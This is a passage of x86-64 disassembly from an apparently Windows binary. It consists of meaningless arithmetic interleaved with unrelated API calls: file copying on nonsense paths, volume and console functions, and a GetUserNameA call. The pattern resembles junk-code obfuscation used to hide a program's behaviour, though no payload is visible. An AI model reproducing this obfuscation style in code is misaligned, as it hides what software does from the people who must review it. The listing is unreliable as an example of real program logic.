movsx ecx, word [0x1401e87f0]
sar eax, cl
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x9370]
movzx eax, byte [rax]
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0x9898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd408]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc5a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ea], al
lea rax, [rsp + 0xcc50]
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0xd068]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc840], rax
lea rax, [rsp + 0x4f4c]
mov qword [rsp + 0xd958], rax
mov rax, qword [rsp + 0xb5d0]
mov ecx, dword [rsp + 0x5228]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc798]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0xd5c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7102], al
mov rax, qword [0x1401e8de8]
movzx eax, word [rax]
mov word [rsp + 0x1874], ax
movzx eax, word [rsp + 0x1558]
mov rcx, qword [rsp + 0xa358]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1160], ax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x279]
and eax, ecx
mov byte [rsp + 0x286], al
movzx eax, word [rsp + 0x11c4]
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0xb318]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x544c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f28], eax
lea rax, [rsp + 0x4f78]
mov qword [rsp + 0xd960], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xd3d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa190]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbec0], rax
movsx eax, word [rsp + 0x139c]
movsx ecx, word [0x1401e71bc]
add eax, ecx
mov word [0x1401e7080], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xd968], rax
movsx eax, word [rsp + 0x12d8]
movsx ecx, word [rsp + 0x16c4]
add eax, ecx
mov word [rsp + 0x115c], ax
lea rax, [rsp + 0x298]
mov qword [rsp + 0xd970], rax
movzx eax, word [0x1401e7174]
movzx ecx, word [rsp + 0x1330]
shl eax, cl
mov rcx, qword [rsp + 0xa358]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a38]
sar rax, cl
mov qword [rsp + 0x8b20], rax
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0xd978], rax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa028]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bf0], rax
mov rax, qword [rsp + 0xb558]
mov eax, dword [rax]
mov dword [rsp + 0x569c], eax
movsx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e8ca0], ax
movsx eax, byte [0x1401e709e]
movsx ecx, byte [rsp + 0x1ef]
and eax, ecx
mov byte [rsp + 0x2a3], al
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0xbfb8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc820]
mov byte [rcx], al
mov rax, qword [0x1401e8c40]
movzx eax, byte [rax]
mov byte [rsp + 0x2b3], al
movzx eax, word [rsp + 0x1484]
mov rcx, qword [rsp + 0xaad0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa60]
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0x99a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5454]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd4a0]
mov qword [rsp + 0xd988], rax
mov rax, qword [rsp + 0xba80]
mov ecx, dword [rsp + 0x5314]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e708a]
and eax, ecx
mov byte [0x1401e7103], al
mov rax, qword [rsp + 0xd598]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd048]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1668], ax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0xd990], rax
movzx eax, word [rsp + 0x1358]
mov rcx, qword [0x1401e8868]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba30]
mov word [rcx], ax
movzx eax, word [rsp + 0x1468]
mov word [rsp + 0x187c], ax
mov rax, qword [rsp + 0xcca0]
mov rcx, qword [rsp + 0xc9f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb7b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd7f0]
mov eax, dword [rax]
mov dword [rsp + 0x56a0], eax
mov rax, qword [rsp + 0xb708]
movzx ecx, al
mov rax, qword [rsp + 0x9058]
shl rax, cl
mov qword [rsp + 0xa3f0], rax
lea rax, [rsp + 0xde]
mov qword [0x1401e9120], rax
movzx eax, word [rsp + 0x16a4]
mov word [rsp + 0x1880], ax
mov rax, qword [rsp + 0xa8a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16e8], ax
movsx eax, byte [rsp + 0x2a9]
movsx ecx, byte [rsp + 0x253]
xor eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x1098]
mov word [rsp + 0x1884], ax
mov eax, dword [rsp + 0x51ec]
cdq
mov rcx, qword [rsp + 0xb200]
idiv dword [rcx]
mov dword [rsp + 0x52f0], eax
lea rax, [rsp + 0x50c8]
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xd0a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd90]
mov qword [rsp + 0xd9a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x97e0], rax
mov rax, qword [rsp + 0xa510]
mov rax, qword [rax]
mov qword [rsp + 0xd9a8], rax
mov rax, qword [rsp + 0xa040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a20]
movzx ecx, byte [rcx]
and eax, ecx
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x8b50]
mov r8d, dword [rsp + 0x4d50]
mov rax, qword [rsp + 0x8d48]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rax]
call fcn.1401cd5a0
mov eax, dword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x8b48]
mov qword [rsp + 0x2a088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2a088]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
and eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov r8d, 1
lea rdx, str.C:PlacebognusWindingSlaughterer
lea rcx, str.C:CompelsWeremotel
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [rsp + 0x4da4], eax
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov eax, dword [rsp + 0x4cc4]
mov ecx, dword [rsp + 0x4d90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
jmp 0x1401cbc38
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8d30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b48]
mov ecx, dword [rsp + 0x4e00]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d88], eax
lea rdx, [rsp + 0x2a400]
lea rcx, str.C:Grassy_slopped
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x2a090], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d84]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d90], eax
jmp 0x1401cbd6e
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x4cec]
mov dword [rsp + 0x8a90], eax
cmp dword [rsp + 0x8a90], 0x13b4
je 0x1401cbcf0
cmp dword [rsp + 0x8a90], 0x5b02
je 0x1401cbd07
jmp 0x1401cbd6e
lea rcx, [rsp + 0x2a100]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
mov dword [rsp + 0x4da4], eax
jmp 0x1401cbd6e
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0x1000]
and eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x100c]
or eax, ecx
mov word [rsp + 0xff0], ax
mov rcx, qword [rsp + 0x8ae0]
call qword [sym.imp.GDI32.dll_GetDCBrushColor]
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0x8b70]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8ac0]
movzx ecx, byte [rax]
call fcn.1401cd170
nop
mov edx, dword [rsp + 0x4cc4]
movzx ecx, word [rsp + 0xffc]
call fcn.1401cd2d0
nop
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x76]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0x71], al
lea rax, [rsp + 0x4cec]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x8a94]
mov r8d, 0x9c
mov dx, 0x43
mov rcx, qword [rsp + 0x2a098]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov dword [rsp + 0x4e0c], eax
movzx edx, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0x75]
call fcn.1401cc930
nop
jmp 0x1401cbf05
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov dword [rsp + 0x8a98], eax
cmp dword [rsp + 0x8a98], 0x6256
je 0x1401cbe5d
jmp 0x1401cbe5f
jmp 0x1401cbe74
mov rcx, qword [rsp + 0x8c00]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8ad0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x1401cbf05
mov edx, 0x4d
lea rcx, [rsp + 0x2a0d0]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov qword [rsp + 0x2a0a0], rax
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75], al
movzx edx, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x76]
call fcn.1401cd640
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8ab0]
mov rdx, qword [rsp + 0x8d08]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jg 0x1401cbfe2
mov eax, dword [rsp + 0x4d88]
mov dword [rsp + 0x8a9c], eax
cmp dword [rsp + 0x8a9c], 0x8818
je 0x1401cbf67
jmp 0x1401cbfc0
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b20], rax
jmp 0x1401cbfe2
mov r8d, 0x74
lea rdx, [rsp + 0x2a0f0]
lea rcx, str.C:Migratesprejudiceworkmen_retransmitsExude
call qword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
mov dword [rsp + 0x4d28], eax
jmp 0x1401cc0c5
movsx eax, word [rsp + 0xff0]
movsx ecx, word [rsp + 0x100c]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x8ae8]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x1401cc0a8
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x20], rax
mov r9d, 0xdd
mov r8d, 0x37
mov edx, 0xd8
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4e0c], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0xff4]
and eax, ecx
mov word [rsp + 0x1000], ax
jmp 0x1401cc0c5
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d90]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cbc], eax
lea rax, [rsp + 0x8b38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x26
mov r9d, 0xd
mov r8d, 0x16
mov edx, 0xeb
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x8b00]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x4e00]
mov rax, qword [rsp + 0x8bf8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rax]
call fcn.1401cd5a0
nop
jmp 0x1401cc1e3
mov eax, dword [rsp + 0x4d50]
mov ecx, dword [rsp + 0x4cd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov edx, dword [rsp + 0x4ccc]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x1401cc1e3
xor r8d, r8d
mov edx, 0xdf
mov rcx, qword [rsp + 0x8c00]
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov dword [rsp + 0x4e00], eax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8792], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov word [rsp + 0xff4], ax
mov ecx, 0x69
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [rsp + 0x4cd0], eax
movsx eax, word [rsp + 0x100c]
movsx ecx, word [rsp + 0xffc]
sub eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x72], al
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8bf8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x1401cc322
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov qword [rsp + 0x2a0a8], rax
movabs rax, 0x771292c07a9f95
cmp qword [rsp + 0x2a0a8], rax
je 0x1401cc2a6
jmp 0x1401cc30c
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov r9d, 0xc3
mov r8d, 0x8b
mov edx, 0x85
mov rcx, qword [rsp + 0x2a0b0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x2a0b8], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
jmp 0x1401cc322
movzx edx, byte [rsp + 0x72]
mov rax, qword [rsp + 0x8b88]
movzx ecx, byte [rax]
call fcn.1401cd640
nop
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
and eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
nop
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x8ae8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1401cc399
jmp 0x1401cc401
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4d90]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4cbc]
mov rdx, qword [rsp + 0x8b78]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1401cc401
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
shl eax, cl
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ad0]
mov qword [rsp + 0x2a0c0], rax
movabs rax, 0x74fb2dfaad60d6
cmp qword [rsp + 0x2a0c0], rax
je 0x1401cc46c
jmp 0x1401cc4c8
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x2a0f0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x8a94]
mov r8d, dword [rsp + 0x8aa0]
lea rdx, [rsp + 0x4d84]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
mov dword [rsp + 0x8aa4], eax
jmp 0x1401cc505
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
sar eax, cl
mov word [rsp + 0x1008], ax
movzx eax, word [rsp + 0xff4]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov eax, dword [rsp + 0x4cc4]
mov ecx, dword [rsp + 0x4cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
jmp 0x1401cc5e9
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
lea r9, [rsp + 0x4ce4]
mov r8d, 0x62
lea rdx, [rsp + 0x8b40]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov dword [rsp + 0x4ce4], eax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8c20]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8ae8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x8b48]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x8ad0]
call fcn.1401cdb50
nop
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0xffc]
movsx edx, word [0x1401e8790]
add ecx, edx
cmp eax, ecx
jl 0x1401cc676
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4ccc]
and ecx, eax
mov eax, ecx
mov dword [section..data], eax
movzx eax, word [rsp + 0xff8]
add eax, 0x49d
mov word [rsp + 0xff4], ax
lea rdx, [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8cf0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x4ce4], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b78]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8ae8]
movzx ecx, word [rax]
call fcn.1401cd2d0
nop
jmp 0x1401cc7b8
mov edx, 0xcb
mov rcx, qword [rsp + 0x8ae0]
call qword [sym.imp.GDI32.dll_SetTextCharacterExtra]
mov dword [rsp + 0x4cec], eax
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x8aa8], al
cmp byte [rsp + 0x8aa8], 8
je 0x1401cc716
jmp 0x1401cc761
movabs rax, 0x789c6c4a7c9de3
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov r9, qword [rsp + 0x8af8]
movzx r8d, word [rsp + 0xff0]
mov edx, dword [rsp + 0x4cd0]
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rax]
call fcn.1401cdb50
nop
jmp 0x1401cc7b8
movsx eax, word [rsp + 0xff0]
and eax, 0x5c1
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
sub eax, 0x6c1
mov word [rsp + 0xff0], ax
mov rcx, qword [rsp + 0x8b18]
call qword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
add eax, 0x35
mov byte [rsp + 0x70], al
movsx eax, byte [rsp + 0x70]
shl eax, 3
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ccc]
mov dword [rsp + 0x8aac], eax
cmp dword [rsp + 0x8aac], 0x2def
je 0x1401cc7e7
jmp 0x1401cc807
mov rax, qword [rsp + 0x8b00]
movabs rcx, 0x77bc78cfe22f50
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ad0], rax
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4ccc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cac], eax
mov rdx, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x8b40]
call qword [sym.imp.GDI32.dll_InvertRgn]
mov dword [rsp + 0x4d28], eax
mov eax, dword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x8ac8]
mov qword [rsp + 0x2a0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2a0c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
jmp 0x1401cc89a
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
xor eax, 0x3b
mov word [rsp + 0xff0], ax
mov rcx, qword [rsp + 0x8b18]
call qword [sym.imp.GDI32.dll_GetBkMode]
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b18]
mov qword [rsp + 0x20], rax
mov r9d, 0x3e
lea r8, [rsp + 0x8ae8]
mov edx, 0xa0
mov rcx, qword [rsp + 0x8b90]
call qword [sym.imp.GDI32.dll_GetWinMetaFileBits]
mov dword [rsp + 0x4cac], eax
movzx eax, byte [rsp + 0x71]
add eax, 0x6d
mov byte [rsp + 0x71], al
movabs rax, 0x77a060251258c5
mov rcx, qword [rsp + 0x8ad0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x71]
call fcn.1401cd640
mov eax, dword [rsp + 0x8504]
add rsp, 0x2a548
pop rdi
pop rsi
ret